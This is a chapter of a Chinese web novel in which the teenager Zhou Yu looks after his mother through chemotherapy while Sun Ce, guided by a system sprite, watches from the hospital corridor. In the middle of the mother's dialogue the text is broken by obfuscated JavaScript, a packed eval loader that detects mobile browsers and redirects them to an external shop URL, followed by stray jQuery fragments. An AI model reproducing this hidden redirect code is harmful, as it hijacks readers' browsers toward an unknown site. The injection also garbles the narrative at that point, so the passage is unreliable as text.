清晨的首京第一人民医院，已经在忙碌了。
走廊里飘着消毒水的味道，值班护士们交接班的声音压得很低。周瑜轻手轻脚地走进肿瘤科病区，手里提着一个保温袋。袋子里是早上五点起来熬的小米粥——稠稠的，周秀兰胃不好，太稀了容易反酸。他还放了一小碟酱菜，切成了碎丁。
这是他每天的日常。五点起床，熬粥，坐四十分钟公交到医院，七点前喂妈妈吃上早饭。风雨无阻。
他推开病房的门。
靠窗的床上，周秀兰已经醒了。女人靠坐在床上，毛线帽下没有一根头发。化疗三个疗程，她的脸瘦得只剩一层皮，可看见儿子的那一刻，眼睛忽然亮了。
“瑜儿来了。”周秀兰的声音沙哑，却带着一种笨拙的欢喜。
“妈。”周瑜走过去，把保温袋放在床头柜上，用手背在她额头上轻轻贴了一下，“今天感觉怎么样？还恶心吗？”
“好多了。”周秀兰说。但她昨天吐了三次，床单换了一次，周瑜都知道。护士王梅昨天给他发了消息，说阿姨今天精神不太好，吐得厉害。他没有问妈妈，也没有提。他只是把粥盛出来，放凉了一点，用嘴唇试了试温度。
就在这时候，护士王梅推门进来。
“小瑜来啦？”王梅手里端着药和输液袋。她压低声音说：“今天的营养针我调了顺序，先打不刺激胃的那种，等阿姨吃过饭再打后面的。”
周瑜愣了一下，随即弯了弯眼睛：“谢谢梅姐姐！”
“谢什么。”王梅摆摆手，目光在周秀兰身上停了一瞬，又移开了。心里又涌起那种说不清的酸涩。她在这个病房里见过太多家属——有哭天喊地的，有花钱如流水的，有嫌麻烦把老人扔在医院不管的。可像周瑜这样的孩子，她没见过几个。
十八岁，别的孩子在大学里谈恋爱的谈恋爱、打游戏的打游戏，他每天早上六点不到就出现在病房，给妈妈擦身、喂饭、跟医生讨论治疗方案，然后把所有的苦咽下去，笑着对妈妈说“没事的，都是小问题”。
王梅每次看见他，心里都会涌起一股说不清的酸涩。也许是因为周秀兰让她想起了当年那个没能救回来的产妇——那个被丈夫打到大出血的可怜女人，和她没能见上最后一面的孩子。也许是因为她总在周瑜身上感觉到一种隐约的、说不清道不明的东西，像隔着一层纱，她看不清楚，却忍不住想去靠近。
“对了，”王梅从身后拿出一个鼓鼓的袋子，“我儿子换季的衣服，他都穿不下了，你看合不合适。还有几件是我的，给阿姨穿。都不是新的，你别嫌弃。”
周瑜接过来，袋子很沉。他低头看了一眼，叠得整整齐齐的，每一件都熨过了，连扣子都重新缝了一遍。他的鼻子酸了一下：“谢谢梅姐姐。这怎么好意思——”
“不要跟我客气，我先走了，有事情小瑜随时给我打电话。”
周瑜乖巧地点头应允着，王梅摆摆手离开了走出了病房。
走廊里，消毒水的味道淡了一些。王梅刚拐过弯，就看见一个高个子的青年站在电梯口，像是等人，又像是在辨认方向。
青年见到王梅走近，抬起头，眉眼间带着一种沉稳，礼貌地笑了笑：“您好，请问周秀兰女士住哪间病房？”
王梅愣了一下：“你是……”
“我是她儿子的朋友，姓孙。”青年的声音不大，但很稳。
王梅指了指走廊尽头：“肿瘤科，305。小瑜刚进去，你往前走就是了。”
“谢谢。”孙策点了点头。
王梅推着药车走远了。孙策正要转身，一道淡金色的光幕突然在他眼前无声地亮起，小九蹲在光幕里，九条尾巴炸开了花，压低声音急促地说：“宿主宿主！就是她！王梅！当年的那个护士——她知道掉包的事！她可能是改变原剧情走向的关键人物！”
孙策的目光追着王梅离去的方向，若有所思。他垂下眼，把那个名字刻进了脑子里，然后转过身，朝305病房走去。
脚步声很轻，轻到几乎听不见。
————
病房的门关上了。
周瑜把袋子放在床尾，打开保温袋，盛了一碗粥端到周秀兰面前。粥还冒着热气，米香混着酱菜的咸味，在小小的病房里慢慢散开。
少年舀起一勺，吹了吹，送到周秀兰嘴边。
周秀兰没有张嘴。
她看着儿子，眼眶慢慢红了。那层薄薄的水雾聚在眼眶里，没有落下来。她这辈子都不太会哭，再苦再难也没在人前掉过眼泪。
可此刻，她看着儿子——看着她从垃圾桶里捡回来的、一口一口喂大的、从小就懂事得让人心疼的儿子——她忽然觉得，自己这辈子什么都没给他。
“瑜儿，妈这个病……不治了吧。”
周瑜的手顿住了。勺子悬在半空中，粥的热气模糊了他的眉眼。
“妈知道，化疗要花好多钱。”周秀兰看着他的眼睛，声音越来越轻，“你每天那么辛苦，早晚直播、给人写曲子，白天还要来照顾我……妈没用，不能供你读完书，还拖累你……”
“妈。”周瑜打断她。他的手没有抖，声音却开始发颤。
他深吸了一口气，像是在把什么东西压下去，然后看着周秀兰的眼睛，一字一句地说：“妈，你说过不会抛弃我的。”
少年的眼眶红了。
“瑜儿想要有个妈妈。”他顿了顿，声音又轻了一点，像是回到了很小的时候，“你要是不治了，你让瑜儿一个人怎么活？”
最后几个字，几乎是气音。少年的嘴唇在发抖，可他死死咬着牙，不让那声哽咽冲出来。他把脸别过去一下，飞快地用袖子擦了一下眼睛，然后转回来，重新举起那勺粥。
“妈，尝尝我做的粥吧。”他的声音还有点抖，却已经在笑了。
周秀兰的眼泪终于掉了下来。她抬起那只粗糙的手，轻轻摸了摸周瑜的脸。周瑜把脸往她掌心里贴了贴，像小时候那样。
“好。”她吸了鼻子，声音哽咽却坚定，“妈不说了。妈一定好好治。”
她顿了顿，又补了一句，声音很轻，像怕碰碎什么：“妈不抛下瑜儿一个人。”
周瑜把脸埋进她的掌心里，闷闷地“嗯”了一声。那一声里带着浓重的鼻音，他的肩膀微微颤了两下。可只是两下。然后他抬起头，又飞快地抹了一把眼睛，吸了吸鼻子，扯出一个笑。
走廊里，孙策靠在墙上，透过门上的玻璃窗，从那个角度刚好能看见周瑜的背影。他没有推门，只是安静地站在那里。晨光从走廊尽头的窗户照进来，把他的影子拉得很长。
他看见周瑜握着那双粗糙的手，看见他把脸埋进那个枯瘦的掌心里，看见他的肩膀微微颤抖着。然后少年又飞快地直起来了，笑着，哄妈妈吃饭，像什么都没发生过一样。
孙策垂下眼，喉结上下滚了一下。
他想起了昨天在铁皮小屋里，周瑜说“明天早上我要去医院看妈妈”时的语气——那么轻，那么随意，像在说一件再普通不过的事。
原来是这样。
这个少年，每天都是这样过的。
病房里，周秀兰吃了几口粥，忽然停下来，看着周瑜：“瑜儿，你吃了吗？”
“当然吃了。”周瑜舀了一口粥送进自己嘴里，鼓着腮帮子含混地说，“我做的时候就吃了。妈你又不是不知道，我多爱偷吃甜点。今天不仅吃了早饭，还偷偷买了一块小蛋糕呢……”
他笑得眼睛弯弯的，像真的一样。
周秀兰看着他，没有戳穿。
她养了他十八年，怎么会不知道这孩子撒起谎来耳朵尖会红？他的耳朵尖现在就是红的。她也知道他已经很久没有吃过早饭了——不，不止早饭。这孩子一天吃几顿饭，她心里有数。他总是说“吃过了”“不饿”“今天在外面吃过了”，可他的衣服一天比一天宽，手腕一天比一天细。
她只是笑了笑，没有说破，不停地劝着周瑜再多吃几口，但周瑜一直推辞着不肯。
“对了，妈，”周瑜一边收拾碗筷一边说，“有个哥哥叫孙策，最近找我帮忙筹备校园音乐节。他说我要是干得好，可能还会推荐我去孙氏琴坊工作。”
“孙氏琴坊？”周秀兰没听过这个名字。
“就是制琴最厉害的那个百年老字号企业，”周瑜的眼睛亮了一下，“妈你不知道，他们做的琴，全世界的音乐家都想买。要是能去那儿工作——”
他忽然觉得自己说得太多了，赶紧收住，低头擦碗。
周秀兰看着他那副藏不住高兴又不好意思的样子，嘴角慢慢弯起来。她的瑜儿，从小就喜欢琴。捡来的破木板、断了的琴弦、别人扔掉不要的零件，他能趴在桌上一弄就是一整天，不吵不闹，专注得像在做什么了不起的大事。她不懂音乐，不懂什么钢琴什么乐理，可她懂她的儿子
——他开心，她就开心。
“我的瑜儿就是棒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17596229|205466||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。”她说，“什么都会，什么都能做得好。”
“那当然。”周瑜挺了挺腰板，又笑了一下，可那笑容只挂了一秒就淡了。因为周秀兰忽然伸出手，轻轻握住了他的手腕。那只手的力道很轻，轻到像是一片叶子落在皮肤上。
“瑜儿。”周秀兰的声音很慢，像在斟酌每一个字，“妈没能供你继续读书……是妈这辈子最对不起你的事。”
周瑜愣了一下。他看着妈妈的眼睛，那里面没有眼泪，却有一种比眼泪更重的东西——是愧疚，是她藏了很久很久的、从不拿出来说的愧疚。
他摇摇头，把那碗粥端起来，又喂了她一口。
“妈，早点挣钱才好呢。等我挣了大钱，再读书也不迟呀。”他顿了顿，声音轻快起来，像在描述一个很美的梦，“到时候我送你去最好的疗养院，天天有人伺候你，你什么都不用干，就坐在阳台上晒太阳，我弹琴给你听。”
“我才不去。”周秀兰被他逗笑了，笑的时候帽子歪了一点，露出光秃秃的头皮。她赶紧伸手扶正，动作快得像怕被谁看见。周瑜看见了，没有说什么，只是帮她把帽檐往下拉了拉，遮住了额头。
“我就住你隔壁，天天给瑜儿做饭吃。”
“那说好了啊，拉钩。”
他伸出小指，和周秀兰粗糙的小指勾在一起。两根手指，一根细白，一根枯瘦，勾在一起的时候像一座很小很小的桥。
“拉钩上吊，一百年不许变。”
周秀兰笑了，笑着笑着，眼眶又红了。
门外，孙策轻轻呼出一口气，把眼底那层薄雾眨掉了。他转身走到走廊尽头的窗户前，站了一会儿。窗外的城市正在醒来，车流的声音从远处隐隐约约地传过来。他想起昨天揉周瑜头发时掌心里那蓬松柔软的触感，想起他红透了的耳朵尖，想起他乖乖叫“老板”时又认真又害羞的样子。
那个少年，在这间病房里，是另一个人。
是哄妈妈开心的儿子，
是喂饭时假装自己吃过了的骗子，
是把所有苦都咽下去、只露出笑容的傻瓜。
孙策闭了闭眼睛，把那画面刻进脑子里，然后走回去。
病房里，周瑜已经收拾好了，正在给周秀兰仔仔细细地掖被角，又把枕头拍松了一点，放在周秀兰手边。
“妈，我先走了，下午再来看你。你好好休息，听医生的话。”
“知道了，去吧。”周秀兰拍了拍他的手背，忽然想起什么，补了一句，“那个……孙策哥哥？好好跟人家干，别偷懒。”
“知道啦。”
周瑜转身走出病房，一抬头——
孙策就站在走廊里，靠在墙上，手里拿着手机，不知道在刷什么。晨光从走廊尽头的窗户照进来，落在他身上，把他的轮廓镀成金色。
周瑜愣了一下：“……您怎么来了？不是说好在医院门口见吗？”
孙策抬起头，把手机揣进兜里，笑了一下：“提前到了，就上来看看。”
他没有说自己已经站了快一个小时，也没有说自己透过门上的玻璃窗看到了什么。他只是转过身，往电梯的方向走，语气随意得像在说今天天气不错：“走吧。”
周瑜应了一声，跟在他身后。
电梯门打开，两个人走进去。门关上，数字一格一格地往下跳。周瑜站在孙策身后半步的位置，低着头，看着自己的鞋尖。他的手指无意识地摩挲着衣角，像在数自己的心跳。
孙策没有说话，他也没有说话。电梯里只有机械运转的低响，和两个人轻得像没声的呼吸。
周瑜抬起眼，偷偷看了一眼孙策的侧脸。晨光从电梯门缝里挤进来，落在他下颌线上，把那个轮廓照得很柔和。
他忽然想起刚才在病房里，当他说“你让瑜儿一个人怎么活”的时候，心里是真的慌。
他怕妈妈会走，
怕这个世界上只剩下他一个人。
那种害怕像一根针，
扎在胸口最软的地方，
平时藏得很好，
可一碰就会疼。
可现在，站在这部缓缓下降的电梯里，离那个人不到半步的距离，那根针似乎没有那么疼了……
不是因为妈妈不危险了，
不是因为生活的重担变轻了，
而是有一种很奇怪的感觉——
好像无论接下来要面对什么，
身边这个人都会一直陪着他。